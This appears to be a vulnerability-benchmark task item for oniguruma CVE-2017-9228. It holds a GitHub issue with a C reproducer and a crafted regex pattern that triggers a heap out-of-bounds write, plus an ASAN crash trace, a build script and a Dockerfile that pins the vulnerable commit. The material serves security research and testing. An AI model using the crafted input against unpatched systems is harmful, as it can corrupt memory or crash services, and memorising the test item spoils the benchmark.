Project: oniguruma (kkos/oniguruma), language: c++
Vulnerability instance: oniguruma.cve-2017-9228
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/kkos/oniguruma/issues/60
## Description:
Issue: kkos/oniguruma#60
Title: Heap corruption in next_state_val() due to uninitialized local variable
State: closed
Created by: lxxxxfdh
Created at: 2017-05-23 16:04:18+00:00

Issue Body:
The following non-deterministic behavior can be triggered from the following code. With ASAN enabled, on 64-bit platform, the crash reproduces within 3-10 runs. 

```c
#include <stdio.h>
#include "oniguruma.h"

static int
exec(OnigEncoding enc, OnigOptionType options,
     char* apattern, char* astr,  int pattern_len,
    unsigned char *end, OnigSyntaxType* sytax)
{
    int r;
    regex_t* reg;
    OnigErrorInfo einfo;
    UChar* pattern = (UChar* )apattern;
    UChar* str     = (UChar* )astr;

    onig_initialize(&enc, 1);

    r = onig_new(&reg, pattern,
                 pattern + pattern_len,
                 options, enc, sytax , &einfo);
    if (r != ONIG_NORMAL) {
        char s[ONIG_MAX_ERROR_MESSAGE_LEN];
        onig_error_code_to_str(s, r, &einfo);
        fprintf(stderr, "ERROR: %s\n", s);
        return -1;
    }

    onig_free(reg);
    onig_end();
    return 0;
}

extern int main(int argc, char* argv[])
{
    int r;
    /* ISO 8859-1 test */
    static unsigned char str[] = { 0xc7, 0xd6, 0xfe, 0xea, 0xe0, 0xe2, 0x00 };

    char* pattern = "\x5b\x5c\x48\x2d\xb0\x30\x8d\x30\x2a\x5b\x5d\x20\x20\x5d"
        "\xf9\x54\x00\x7f\x5c\x63\xef\xef\xef\xef\x52\xf7\xf7\x52"
        "\xf7\xeb\xeb\x70\x2b\xf7\x7b\x30\x2c\x32\x7d";

    r = exec(ONIG_ENCODING_GB18030, ONIG_OPTION_IGNORECASE,pattern, (char*) str, 39, str + 7, ONIG_SYNTAX_DEFAULT);
    r = exec(ONIG_ENCODING_GB18030, ONIG_OPTION_IGNORECASE,pattern, (char*) str, 39, str + 7, ONIG_SYNTAX_DEFAULT);

    return r;
}
```
With some add-on:
```c
static int
parse_char_class(Node** np, OnigToken* tok, UChar** src, UChar* end,
		 ScanEnv* env)
{
  int r, neg, len, fetched, and_start;
  OnigCodePoint v, vs;
  UChar *p;
  Node* node;
  CClassNode *cc, *prev_cc;
  CClassNode work_cc;

  printf("*vs (init) = %lu\n", (unsigned long)vs);
```

```c
static void
bitset_set_range(BitSetRef bs, int from, int to)
{
  int i;
  for (i = from; i <= to && i < SINGLE_BYTE_SIZE; i++) {
    fprintf(stderr, "bs=%p, i=%lu\n", (unsigned int*)bs, i);
    BITSET_SET_BIT(bs, i);
  }
}
```
ASAN report:
```
*vs (init) = 2953750392
*vs (from) = 2953750392, v=2955971888
bs=0x60600000ef08, i=2953750392
ASAN:SIGSEGV
=================================================================
==22101==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004030d0 bp 0x7ffe925592c0 sp 0x7ffe925592a0 T0)
    #0 0x4030cf in bitset_set_range /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:203
    #1 0x419b72 in next_state_val /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:4142
    #2 0x41ab77 in parse_char_class /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:4329
    #3 0x41f7b6 in parse_exp /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5174
    #4 0x420728 in parse_branch /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5339
    #5 0x420bae in parse_subexp /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5385
    #6 0x420fc8 in parse_regexp /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5433
    #7 0x421454 in onig_parse_make_tree /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:5464
    #8 0x43de89 in onig_compile /home/xie/Downloads/oni/onig-test-develop/src/regcomp.c:5326
    #9 0x43ed8b in onig_new /home/xie/Downloads/oni/onig-test-develop/src/regcomp.c:5565
    #10 0x4011d8 in exec /home/xie/Downloads/oni/onig-test-develop/test/testc.c:17
    #11 0x4013f6 in main /home/xie/Downloads/oni/onig-test-develop/test/testc.c:43
    #12 0x7f62aebd082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #13 0x400f98 in _start (/home/xie/Downloads/oni/onig-test-develop/test/testc+0x400f98)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/xie/Downloads/oni/onig-test-develop/src/regparse.c:203 bitset_set_range
==22101==ABORTING
```
The probabilistic reproducer triggers a heap OOB write when the local variable OnigCodePoint vs in parse_char_class() is not initialized, following the call as:

parse_char_class() -> next_state_val() -> bitset_set_range()

resulting in the said crash.

Note the calls to exec() is currently necessary to trigger the crash.


Comments:
Comment by xixabangm4 on 2017-05-25 02:50:38+00:00:
Thanks, please use CVE-2017-9228 to reference this issue.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9228

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
./configure
make clean -j$(nproc)
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/kkos/oniguruma oniguruma
RUN git -C oniguruma checkout b690371bbf97794b4a1d3f295d4fb9a8b05d402d
WORKDIR $SRC/oniguruma
COPY build.sh $SRC/

Additional files:
filename: .gitignore
content: /oniguruma
/fuzzer.options.*

filename: fuzzer.options